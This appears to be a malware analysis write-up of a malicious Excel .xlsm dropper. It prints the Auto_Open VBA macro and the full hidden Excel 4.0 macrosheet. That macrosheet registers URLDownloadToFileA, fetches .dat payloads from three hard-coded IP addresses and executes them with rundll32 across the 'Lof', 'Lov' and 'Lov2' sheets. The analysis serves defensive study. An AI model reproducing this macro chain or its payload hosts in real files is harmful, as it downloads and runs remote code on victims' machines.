Malicious Macros in Office Documents

Claim_732989680_03292021.xlsm

Author: Moise Medici
Updated: 25 Oct 2025 · Completed
Difficulty: Easy
Platform: Windows
Capabilities: Dropping Secondary Payloads
Tags: vbscript xml

Code Analysis

A common starting point for analyzing an Office document is to examine the structure of the file. The command oledump.py -i shows each file “stream” (section). The tool shows an M next to the stream that has a macro embedded in it. In this case, the stream A3 contains a macro, and the section has a size of 1041 bytes. The size is not particularly relevant in this case, as there is only one macro, but it is useful when examining different streams: if one of them is particularly large, it might embed some obfuscated content.

1
$ oledump.py -i claim.xlsm
2
A: xl/vbaProject.bin
3
 A1:       529             'PROJECT'
4
 A2:        71             'PROJECTwm'
5
 A3: M    1041     919+122 'VBA/Module1'
6
 A4:      2596             'VBA/_VBA_PROJECT'
7
 A5:       549             'VBA/dir'
8
 A6: m     990             'VBA/Лист1'
9
 A7: m    1201             'VBA/ЭтаКнига'

The macro can be dumped with oledump -s <stream> -v. The full content of the macro is below, and everything that it does is execute the content of the Lof sheet in cell CD5 as soon as the file is opened. Note that specifying -s 3 or -s A3 is the same.

1
$ oledump.py -s 3 claim.xlsm  -v
2
Attribute VB_Name = "Module1"
3
Private Sub Auto_Open()
4
Application.Run Sheets("Lof").Range("CD5")
5
End Sub

Since .xlsm files are archives, they can be extracted with unzip:

1
$ unzip Claim_732989680_03292021.xlsm
2
Archive:  Claim_732989680_03292021.xlsm
3
  inflating: [Content_Types].xml
4
  inflating: _rels/.rels
5
  inflating: xl/workbook.xml
6
  inflating: xl/_rels/workbook.xml.rels
7
  inflating: xl/worksheets/sheet1.xml
8
  inflating: xl/macrosheets/sheet1.xml
9
  inflating: xl/macrosheets/sheet2.xml
10
  inflating: xl/macrosheets/sheet3.xml
11
  inflating: xl/theme/theme1.xml
12
  inflating: xl/styles.xml
13
  inflating: xl/sharedStrings.xml
14
  inflating: xl/drawings/drawing1.xml
15
 extracting: xl/media/image1.gif
16
  inflating: xl/vbaProject.bin
17
  inflating: xl/worksheets/_rels/sheet1.xml.rels
18
  inflating: xl/macrosheets/_rels/sheet2.xml.rels
19
  inflating: xl/macrosheets/_rels/sheet3.xml.rels
20
  inflating: xl/drawings/_rels/drawing1.xml.rels
21
  inflating: xl/printerSettings/printerSettings1.bin
22
  inflating: xl/printerSettings/printerSettings2.bin
23
  inflating: docProps/core.xml
24
  inflating: docProps/app.xml

From the unzipped files, there is no file named Lov. The relationship between the filename and the sheet needs to be found. There are two major file types that have been unzipped: the name.xml files and the relationships those files contain in name.xml.rels. Since the workbook is the container of all the sheets, the relationship between the internal ID and the file name is stored in the file containing the relationships for workbook.xml: xl/_rels/workbook.xml.rels

1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<Relationships
3
    xmlns="http://schemas.openxmlformats.org/package/2006/relationships">
4
    <Relationship Id="rId8" Type="http://schemas.microsoft.com/office/2006/relationships/vbaProject" Target="vbaProject.bin"/>
5
    <Relationship Id="rId3" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet2.xml"/>
6
    <Relationship Id="rId7" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/sharedStrings" Target="sharedStrings.xml"/>
7
    <Relationship Id="rId2" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet1.xml"/>
8
    <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/>
9
    <Relationship Id="rId6" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/styles" Target="styles.xml"/>
10
    <Relationship Id="rId5" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/theme" Target="theme/theme1.xml"/>
11
    <Relationship Id="rId4" Type="http://schemas.microsoft.com/office/2006/relationships/xlMacrosheet" Target="macrosheets/sheet3.xml"/>
12
</Relationships>

From xl/workbook.xml, the rId to sheet name relationship is:

1
<sheets>
2
    <sheet name="Sheet" sheetId="9" r:id="rId1"/>
3
    <sheet name="Lof" sheetId="2" state="hidden" r:id="rId2"/>
4
    <sheet name="Lov" sheetId="6" state="hidden" r:id="rId3"/>
5
    <sheet name="Lov2" sheetId="7" state="hidden" r:id="rId4"/>
6
</sheets>

So:

rId1 -> worksheets/sheet1.xml -> “Sheet”
rId2 -> macrosheets/sheet1.xml -> “Lof”
rId3 -> macrosheets/sheet2.xml -> “Lov”
rId4 -> macrosheets/sheet3.xml -> “Lov2”

Before examining each file, it can be useful to look into the xl/sharedString.xml file to understand some of the next files, since it contains all the strings that are shared across every file. The content of the file is:

1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<sst
3
  xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="8" uniqueCount="8">
4
  <si>
5
    <t>uRlMon</t>
6
  </si>
7
  <si>
8
    <t>JJCCBB</t>
9
  </si>
10
  <si>
11
    <t>Belandes</t>
12
  </si>
13
  <si>
14
    <t>.dat</t>
15
  </si>
16
  <si>
17
    <t>JJCCJJ</t>
18
  </si>
19
  <si>
20
    <t>http://45.150.67.234/</t>
21
  </si>
22
  <si>
23
    <t>http://45.150.67.232/</t>
24
  </si>
25
  <si>
26
    <t>http://195.123.210.162/</t>
27
  </si>
28
</sst>

To understand how the file is used, it helps to first understand what it contains. Imagine it as a list of elements, each with an index and value like in the table below:

Index	Value
0	`uRlMon`
1	`JJCCBB`
2	`Belandes`
3	`.dat`
4	`JJCCJJ`
5	`http://45.150.67.234/`
6	`http://45.150.67.232/`
7	`http://195.123.210.162/`

When a sheet has a cell containing a value of type s, that is a shared string. The Office application will look up the index and replace it with the value in the table above. For example, this is cell CE270, which has style 1 (s="1", which is defined in xl/styles.xlm) and the type is a shared string (t="s"). The index is 0 as defined in <v>0</v>.

1
<c r="CE270" s="1" t="s">
2
  <v>0</v>
3
</c>

So starting from Lof, as shown by the Auto_Open macro, the content of the file is:

1
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
2
<xm:macrosheet
3
  xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
4
  xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main"
5
  xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
6
  xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6"
7
  xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac"
8
  xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision"
9
  xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2"
10
  xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3"
11
  xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{674A3FEE-4583-422B-936D-3862B5C011DB}">
12
  <dimension ref="CA266:CF283"/>
13
  <sheetViews>
14
    <sheetView showFormulas="1" workbookViewId="0"/>
15
  </sheetViews>
16
  <sheetFormatPr defaultColWidth="7.6640625" defaultRowHeight="14.4" x14ac:dyDescent="0.3"/>
17
  <cols>
18
    <col min="1" max="77" width="7.6640625" style="1"/>
19
    <col min="78" max="78" width="7.6640625" style="1" customWidth="1"/>
20
    <col min="79" max="84" width="7.6640625" style="1" hidden="1" customWidth="1"/>
21
    <col min="85" max="16384" width="7.6640625" style="1"/>
22
  </cols>
23
  <sheetData>
24
    <row r="266" spans="81:83" x14ac:dyDescent="0.3">
25
      <c r="CD266" s="1">
26
        <f>NOW()</f>
27
        <v>44283.920335069444</v>
28
      </c>
29
    </row>
30
    <row r="267" spans="81:83" x14ac:dyDescent="0.3">
31
      <c r="CD267" s="1" t="b">
32
        <f>FORMULA.FILL("URLDownloadToFileA",CE271)</f>
33
        <v>0</v>
34
      </c>
35
    </row>
36
    <row r="268" spans="81:83" x14ac:dyDescent="0.3">
37
      <c r="CC268" s="1" t="str">
38
        <f>CONCATENATE(CC274,CD266,CC273)</f>
39
        <v>http://45.150.67.234/44283,9203350694.dat</v>
40
      </c>
41
    </row>
42
    <row r="269" spans="81:83" x14ac:dyDescent="0.3">
43
      <c r="CC269" s="1" t="str">
44
        <f>CONCATENATE(CC275,CD266,CC273)</f>
45
        <v>http://45.150.67.232/44283,9203350694.dat</v>
46
      </c>
47
      <c r="CD269" s="1" t="b">
48
        <f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f>
49
        <v>0</v>
50
      </c>
51
      <c r="CE269" s="1" t="s">
52
        <v>4</v>
53
      </c>
54
    </row>
55
    <row r="270" spans="81:83" x14ac:dyDescent="0.3">
56
      <c r="CC270" s="1" t="str">
57
        <f>CONCATENATE(CC276,CD266,CC273)</f>
58
        <v>http://195.123.210.162/44283,9203350694.dat</v>
59
      </c>
60
      <c r="CD270" s="1" t="b">
61
        <f>REGISTER(CE270,CE271,CE272,CE273,,1,9)</f>
62
        <v>0</v>
63
      </c>
64
      <c r="CE270" s="1" t="s">
65
        <v>0</v>
66
      </c>
67
    </row>
68
    <row r="271" spans="81:83" x14ac:dyDescent="0.3">
69
      <c r="CD271" s="1" t="e">
70
        <f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
71
        <v>#NAME?</v>
72
      </c>
73
    </row>
74
    <row r="272" spans="81:83" x14ac:dyDescent="0.3">
75
      <c r="CD272" s="1" t="e">
76
        <f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f>
77
        <v>#NAME?</v>
78
      </c>
79
      <c r="CE272" s="1" t="s">
80
        <v>1</v>
81
      </c>
82
    </row>
83
    <row r="273" spans="81:83" x14ac:dyDescent="0.3">
84
      <c r="CC273" s="1" t="s">
85
        <v>3</v>
86
      </c>
87
      <c r="CD273" s="1" t="e">
88
        <f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f>
89
        <v>#NAME?</v>
90
      </c>
91
      <c r="CE273" s="1" t="s">
92
        <v>2</v>
93
      </c>
94
    </row>
95
    <row r="274" spans="81:83" x14ac:dyDescent="0.3">
96
      <c r="CC274" s="1" t="s">
97
        <v>5</v>
98
      </c>
99
    </row>
100
    <row r="275" spans="81:83" x14ac:dyDescent="0.3">
101
      <c r="CC275" s="1" t="s">
102
        <v>6</v>
103
      </c>
104
    </row>
105
    <row r="276" spans="81:83" x14ac:dyDescent="0.3">
106
      <c r="CC276" s="1" t="s">
107
        <v>7</v>
108
      </c>
109
    </row>
110
    <row r="280" spans="81:83" x14ac:dyDescent="0.3">
111
      <c r="CD280" s="1" t="b">
112
        <f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f>
113
        <v>0</v>
114
      </c>
115
    </row>
116
    <row r="283" spans="81:83" x14ac:dyDescent="0.3">
117
      <c r="CD283" s="1" t="e">
118
        <f>GOTO(Lov!E4)</f>
119
        <v>#N/A</v>
120
      </c>
121
    </row>
122
  </sheetData>
123
  <pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/>
124
</xm:macrosheet>

At the top, there is a reference to URLDownloadToFileA, which is assigned to cell CE271. This means that every time CE271 appears in the file, it can be mentally replaced with URLDownloadToFileA.

1
<c r="CD267" s="1" t="b">
2
    <f>FORMULA.FILL("URLDownloadToFileA",CE271)</f>
3
    <v>0</v>
4
</c>

FORMULA.FILL is an Excel 4.0 Macro function. We have not been able to locate any official Microsoft documentation for this function and have therefore relied on the third-party reference provided in 1.

The CONCATENATE function observed in the file, as in the example below:

1
<row r="268" spans="81:83" x14ac:dyDescent="0.3">
2
    <c r="CC268" s="1" t="str">
3
        <f>CONCATENATE(CC274,CD266,CC273)</f>
4
        <v>http://45.150.67.234/44283,9203350694.dat</v>
5
    </c>
6
</row>

concatenates the values of three cells: CC274, CD266 and CC273:

1
<row r="274" spans="81:83" x14ac:dyDescent="0.3">
2
    <c r="CC274" s="1" t="s">
3
        <v>5</v>
4
    </c>
5
</row>
6

7
<c r="CD266" s="1">
8
    <f>NOW()</f>
9
    <v>44283.920335069444</v>
10
</c>
11

12
<c r="CC273" s="1" t="s">
13
    <v>3</v>
14
</c>

to create the following URL values:

http://45.150.67.234/44283,9203350694.dat in cell CC268
http://45.150.67.232/44283,9203350694.dat in cell CC269
http://195.123.210.162/44283,9203350694.dat in cell CC270

Tracking each URL one at a time, CC268 is called in:

1
<c r="CD271" s="1" t="e">
2
    <f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
3
    <v>#NAME?</v>
4
</c>

There’s a custom function called Belandes, and its purpose is currently unknown. It’s defined in the shared strings at index 2 (zero-based).

The file can be searched with grep to see if the string has been defined anywhere:

1
grep "<v>2</v>" xl/macrosheets/sheet1.xml

This appears in cell CE273:

1
<c r="CE273" s="1" t="s">
2
    <v>2</v>
3
</c>

The CE273 cell is then used in the REGISTER call:

1
<c r="CD269" s="1" t="b">
2
    <f>REGISTER(CE270,CE271,CE269,CE273,,1,9)</f>
3
    <v>0</v>
4
</c>

From the same source as FORMULA.FILL, the REGISTER signature was identified 2. The signature is defined as:

1
REGISTER(
2
    module_text,
3
    procedure,
4
    type_text,
5
    function_text,
6
    argument_text,
7
    macro_type,
8
    category,
9
    ...
10
)

With the values contained in each cell:

1
REGISTER(
2
    module_text = "URLMon",
3
    procedure = "URLDownloadToFileA",
4
    type_text = "JJCCJJ",
5
    function_text = "Belandes",
6
    argument_text = <empty>,
7
    macro_type = 1 (meaning that it is a function),
8
    category = 9,
9
    ...
10
)

This means that Belandes is a function defined to “rename” the URLDownloadToFileA Windows API. Looking at the API specification 3, the arguments are:

1
HRESULT URLDownloadToFile(
2
             LPUNKNOWN            pCaller,
3
             LPCTSTR              szURL,
4
             LPCTSTR              szFileName,
5
  _Reserved_ DWORD                dwReserved,
6
             LPBINDSTATUSCALLBACK lpfnCB
7
);

Specifically, szURL is a pointer to a string value containing the name or full path of the file to create for the download. Looking at when the custom function is called:

1
<f>Belandes(0,CC268,"..\Hodas.vyur",0,0)</f>
2
<f>Belandes(0,CC269,"..\Hodas.vyur1",0,0)</f>
3
<f>Belandes(0,CC270,"..\Hodas.vyur2",0,0)</f>

This shows that the file downloaded from each URL is saved locally:

http://45.150.67.234/44283,9203350694.dat is saved as ..\Hodas.vyur
http://45.150.67.232/44283,9203350694.dat is saved as ..\Hodas.vyur1
http://195.123.210.162/44283,9203350694.dat is saved as ..\Hodas.vyur2

The first file is then executed with rundll32:

1
<f>EXEC("rundll32 "&amp;"..\Hodas.vyur"&amp;",DllRegisterServer")</f>

Execution then proceeds to Lov.

The Lov sheet contains a straightforward execution of the second DLL:

1
<sheetData>
2
    <row r="6" spans="5:5" x14ac:dyDescent="0.3">
3
        <c r="E6" s="1" t="b">
4
            <f>EXEC("rundll32 "&amp;"..\Hodas.vyur1"&amp;",DllRegisterServer")</f>
5
            <v>0</v>
6
        </c>
7
    </row>
8
    <row r="8" spans="5:5" x14ac:dyDescent="0.3">
9
        <c r="E8" s="1" t="e">
10
            <f>GOTO('Lov2'!D4)</f>
11
            <v>#N/A</v>
12
        </c>
13
    </row>
14
</sheetData>

The GOTO then transfers execution to Lov2, which only executes the third DLL:

1
<sheetData>
2
    <row r="6" spans="4:4" x14ac:dyDescent="0.3">
3
        <c r="D6" s="1" t="b">
4
            <f>EXEC("rundll32 "&amp;"..\Hodas.vyur2"&amp;",DllRegisterServer")</f>
5
            <v>0</v>
6
        </c>
7
    </row>
8
    <row r="11" spans="4:4" x14ac:dyDescent="0.3">
9
        <c r="D11" s="1" t="b">
10
            <f>HALT()</f>
11
            <v>0</v>
12
        </c>
13
    </row>
14
</sheetData>